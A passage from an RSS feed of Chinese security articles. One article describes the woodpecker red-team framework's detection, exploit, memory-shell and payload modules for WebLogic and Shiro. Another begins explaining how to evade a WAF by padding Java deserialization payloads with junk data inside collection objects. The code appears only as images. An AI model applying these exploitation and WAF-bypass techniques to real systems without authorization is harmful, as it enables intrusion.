src="https://wechat2rss.xlab.app/img-proxy/?k=61aa1be2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5MeIOAWWVQ6Mibto0ibibH3VQ2bzL91X7hdGe4gicGuYM1Q3ZSyQG4BZeVA%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">顺便值得一提的是，我们探测t3/iiop协议的时候，还需要探测它们是否被设置为禁止连接，不然探测出open也是无法利用的。如上图的t3开启了但是配置了如下过滤。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3282828282828283" data-s="300,640" style="" data-type="png" data-w="792" src="https://wechat2rss.xlab.app/img-proxy/?k=14618bfc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5aLRGWiaeoeHnoPuyZlb5FYmEVLqdKgl6QFxpxdlFZGQYk14GKSicbib7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 14px;letter-spacing: 1px;">这些信息有什么用呢？</span></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">当然是让我们知道面前这个weblogic的薄弱点在哪里，后续攻击的计划应该是:</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;text-decoration: underline;">t3和iiop系列漏洞不用测试了，wls-wsat组件的xmldecoder反序列化漏洞可以看看</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">。</span><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"> 0x03 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">精准检测模块(POC)</span></strong></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;"><br/></span></strong></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;"><br/></span></strong></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>精准检测模块的任务是使用poc去判断漏洞是否存在。</strong>显然精准是这个模块关注的问题，我们的原则是误报可以原谅，但是漏报坚决杜绝。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">那现实如此复杂的漏洞环境，怎么实现精准检查呢？woodpecker插件的检测原则是尽可能的实现以下所有检测方案。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 回显检测</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. dnslog检测</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. 间接检查</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">4. 写文件检测</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">5. 触发补丁检测</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">6. 延时检测</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">7. 特定特征检测</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">8. ....</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d50a94f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5I6z1FEq6S5LxOS41hKmN1CmceVuTsc9ibZf0ZY0jp3PgzQSZXUqVhtg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">这里我细说下</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">3</span><span style="font-size: 14px;letter-spacing: 1px;">,</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">5</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">7</span><span style="font-size: 14px;letter-spacing: 1px;">这三个方案，其他方案顾名思义。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">间接检测</span><span style="font-size: 14px;letter-spacing: 1px;">是不通过直接触发漏洞来检测，而是通过其他方面间接来验证。举2个例子，shiro key的检测由开始的通过回显，dnslog之类的直接检测变成了现在统计rememberMe个数。weblogic漏洞检测则可通过下载黑明单class来验证是否被修复。这些方法很巧妙，在漏检中有四两拨千斤的作用。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. </span><a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&amp;mid=2247485052&amp;idx=1&amp;sn=b007a722e233b45982b7a57c3788d47d&amp;scene=21#wechat_redirect" textvalue="一种另类的 shiro 检测方式" tab="innerlink" data-linktype="2"><span style="font-size: 14px;letter-spacing: 1px;">一种另类的 shiro 检测方式</span></a></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. </span> <a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&amp;mid=2247484559&amp;idx=1&amp;sn=a9054c0a433cb288df2820363a889446&amp;scene=21#wechat_redirect" textvalue="红蓝必备 你需要了解的weblogic攻击手法" tab="innerlink" data-linktype="2" style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">红蓝必备 你需要了解的weblogic攻击手法</a></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">触发补丁检测</span><span style="font-size: 14px;letter-spacing: 1px;">就是提交可触发补丁的payload，然后看是否拦截来确定漏洞是否修复。比如CVE-2019-2725我们就可以发送带</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">&lt;class&gt;</span><span style="font-size: 14px;letter-spacing: 1px;">标签的payload，若如下提示非法标签说明漏洞修复了。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.37734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cfcf34c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5LJDkn7e8AwUoTDZib48XhhuicrQe7tTzYiado0Wib7x28nrVKqDetSBFWg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">特定特征检测</span><span style="font-size: 14px;letter-spacing: 1px;">就是通过respone的某些特征可以知道漏洞是否修复，比如CVE-2020-14882/3漏洞修复后的响应如下,那咱们就可以通过repsoen状态码为</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">500</span><span style="font-size: 14px;letter-spacing: 1px;">,返回包中存在</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">The server encountered an unexpected condition which prevented it from fulfilling the request.</span><span style="font-size: 14px;letter-spacing: 1px;">提示来判断。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3953125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f9e65234&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5nhvQPuSQm2NXiabZwwIhia0FF7t6N3ibxj4uacibicic821Y7TpWUs5yswAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> 0x04 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">深度利用模块(Exploit)</span></strong></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>深度利用模块的任务是发挥漏洞的最大利用价值</strong>。比如一个RCE可以干的事情很多，命令执行，写文件，读文件，反弹shell，注入内存马，开启bindshell等等。不过最后我梳理了下，很多功能都是有交集的，比如反弹shell可以通过命令执行来反弹，读文件可以通过webshell来读。所以在红队行动中，真正对我们有用的一般是三个功能，woodpecker插件编写的原则上要求深度利用模块必须实现这3个功能，并保证稳定性。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 写文件</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 命令回显</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. 注入内存马</span></p><p style="line-height: 1.5em;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.64765625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5492887d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5rAegBpQVdH6v9fiayBYNqvHricttbpthQkqqYvFNZWOlzOibo8ZvsaT3A%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x05 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">荷载生成模块(Payload generator)</span></strong></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>荷载生成模块的任务是帮助红队人员快速生成自定义payload。</strong> 自动化并不能解决所有问题，当遇到奇葩环境时就需要人工介入。比如当shiro漏洞遇到未知中间件时，可能无法回显也无法注入内存马，这时就需要人工构造payload了。但是每次都要先生成序列化数据，设置key，选择加密模式，非常浪费时间。而woodpecker shiro漏洞插件的荷载生成模块可以一键生成。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.64765625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=beb1961d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5fUlaa0Y2WMWTiaiaiaXB2Z1aUrfbuZib93jibKJOlDcHHPXTqhFHxr1bZFw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x06 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">辅助模块(Helper)</span></strong></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>该模块的任务是将漏洞检测和利用中经常要进行的操作自动化，节省时间。</strong></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">比如在java命令执行漏洞中无法使用带有管道符的命令，需要我们去转换下命令。当然有Jackson_T这样的在线网站，这里我编写成了本地插件。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span style="font-size: 14px;letter-spacing: 1px;"><a href="https://github.com/woodpecker-appstore/runtime-exec-encoder" target="_blank">https://github.com/woodpecker-appstore/runtime-exec-encoder</a></span></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f2868316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5PnYcawKiaoTwV3k2lJwjhT5mpBeUCdjhQc2tXYBJPPO2Ju6AEeWafyQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">同时如果想通过命令执行漏洞写一个shell的话，往往需要转义下，这个过程也是比较繁琐的。可以使用</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">EchoToFileConverter</span><span style="font-size: 14px;letter-spacing: 1px;">插件来解决。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span style="font-size: 14px;letter-spacing: 1px;"><a href="https://github.com/woodpecker-appstore/EchoToFileConverter" target="_blank">https://github.com/woodpecker-appstore/EchoToFileConverter</a></span></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6748178a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf5JHibhNP7hKR09BmFgAicDMteg4ic8ViaJzqKGMrwuwoicNUUTE5PZkIiazxA%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);font-size: 18px;background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x07 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;">最后的话</span></strong></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">如果你比较认同这样的设计，并有能力编写插件。欢迎到github提交pr或者插件。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 框架主页 <a href="https://woodpecker.gv7.me" target="_blank">https://woodpecker.gv7.me</a></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 框架仓库 <a href="https://github.com/woodpecker-framework" target="_blank">https://github.com/woodpecker-framework</a></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. 插件仓库 <a href="http://github.com/woodpecker-appstore" target="_blank">http://github.com/woodpecker-appstore</a></span></p>



<p><a href="https://blog.rizhan.icu/2021/08/09/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%A1%86%E6%9E%B6-woodpecker-framework/#more">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9628b20a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484082%26idx%3D1%26sn%3D80fb7308cbbce18ba0368b5cdb04f474%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 10 Aug 2021 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Java反序列化数据绕WAF之加大量脏数据</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484067&amp;idx=1&amp;sn=3a0fe73cb30a84af18c3c932f0e661b2</link>
      <description>二进制的Java反序列化数据如何绕WAF?</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2021-08-02 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>二进制的Java反序列化数据如何绕WAF?</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8108cf30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPdjqJHf7PCRM5icrVpIJKqGGae3lsNzErqqozJzrCBThNAlkwfz4EyTmzTedsYUwKC8s8ze0AruNWg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 2em;text-align: center;"><span style="color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);font-size: 18px;letter-spacing: 1px;background-color: rgb(171, 25, 66);"> 0x01 </span></strong></span></p><p style="line-height: 2em;text-align: center;"><span style="font-size: 18px;letter-spacing: 1px;"><strong>背景</strong></span></p><p style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><br/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">前几周有个同事发给我一个授权的站点,需要拿下webshell权限。发现存在Java反序列化漏洞，但是有WAF,ysoserial生成的序列化数据直接就被拦截了。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f6c3dfab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdjqJHf7PCRM5icrVpIJKqGGB6sjGLSEibTzaZhBm2KdDv9ic3TGXIb3GlX76w7yVhfrd9GMJ3BVqZSg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">绕WAF的前提自然是先摸清WAF拦截的规则。我先是把序列化头</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">aced0005</span><span style="font-size: 14px;letter-spacing: 1px;">删掉，发现还是被拦截了,看来WAF没开启无脑的hw模式。</span></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">接着将序列化数据当中的class名破坏，发现不再拦截了。说明WAF应该是把gadget的class加入了规则。</span></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">考虑到大多数WAF受限于性能影响，当request足够大时，WAF可能为因为性能原因作出让步，超出检查长度的内容，将不会被检查。于是我在序列化头后加了</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">50000</span><span style="font-size: 14px;letter-spacing: 1px;">个</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">x</span><span style="font-size: 14px;letter-spacing: 1px;">字符，发现WAf不再拦截，证明这个思路可行！</span></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">这样虽然绕过了WAF，但新的问题也来了。序列化数据是二进制数据，直接手工在burp里加入垃圾数据破坏了序列化数据的结构，后端代码并没有反序列化成功。接下来继续解决这个问题。</span></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;text-align: center;"><span style="color: rgb(255, 255, 255);"><span style="color: rgb(255, 255, 255);font-size: 18px;background-color: rgb(171, 25, 66);"><strong><span style="font-size: 18px;letter-spacing: 1px;"> 0x02 </span></strong></span><span style="color: rgb(255, 255, 255);font-size: 18px;"><strong><span style="color: rgb(255, 255, 255);font-size: 18px;letter-spacing: 1px;"> </span></strong></span></span></p><p style="line-height: 2em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">如何给序列化数据加脏数据？</span></strong></span></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">我的思路是需要找到一个class可以序列化，它可以把我们的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">脏数据对象</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">ysoserial gadget对象</span><span style="font-size: 14px;letter-spacing: 1px;">一起包裹起来。</span></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5620608899297423" data-s="300,640" style="" data-type="png" data-w="854" src="https://wechat2rss.xlab.app/img-proxy/?k=82a97db7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdjqJHf7PCRM5icrVpIJKqGGicVWSibtbVN0ico7jQS2xSNGiaqFokJq3qHTf1oblWwQolK66NWzhWY4ZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">所以我们要找的class，<strong>第一需要实现</strong></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);"><strong>java.io.Serializable</strong></span><span style="font-size: 14px;letter-spacing: 1px;"><strong>接口，第二可以存储任意对象</strong>。这么看来集合类型就非常符合我们的需求。</span></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><strong><span style="font-size: 14px;letter-spacing: 1px;">1. ArrayList</span></strong></p><p style="line-height: 2em;"><strong><span style="font-size: 14px;letter-spacing: 1px;">2. LinkedList</span></strong></p><p style="line-height: 2em;"><strong><span style="font-size: 14px;letter-spacing: 1px;">3. HashMap</span></strong></p><p style="line-height: 2em;"><strong><span style="font-size: 14px;letter-spacing: 1px;">4. LinkedHashMap</span></strong></p><p style="line-height: 2em;"><strong><span style="font-size: 14px;letter-spacing: 1px;">5. TreeMap</span></strong></p><p style="line-height: 2em;"><strong><span style="font-size: 14px;letter-spacing: 1px;">6. ......</span></strong><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">伪代码如下:</span></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9b27445f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdjqJHf7PCRM5icrVpIJKqGGBibc74riarfYibcvoUn2rCq8cD3icWdkXY9og4LOzXcyXHzOzXkPhUgAyw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x03 </span></strong></span></p><p style="line-height: 2em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">改造ysoserial</span></strong></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">为了方便日后使用，我们可以改造下ysoserial，让所有gadget都支持添加大量垃圾数据。大致的流程调用是，构造函数传入gadget对象以及垃圾数据长度，然后调用doWrap方法随机创建一个集合类型把随机生成的脏数据和gadget对象存储起来，最终序列化该对象即可拿到bypass WAF的序列化数据。具体实现参考如下代码和注释。</span></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.52265625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ea2bc946&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdjqJHf7PCRM5icrVpIJKqGGD03qlnDh0icEHtEdKBKllaoMzyAO9iaibricEOroElYAwjqicNMnxG9OHYQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">完整代码请移步ysoserial-for-woodpecker<span style="font-size: 14px;letter-spacing: 1px;">项目(</span></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;text-decoration: underline;"><a href="https://github.com/woodpecker-framework/ysoserial-for-woodpecker)" target="_blank">https://github.com/woodpecker-framework/ysoserial-for-woodpecker)</a></span></p><p style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 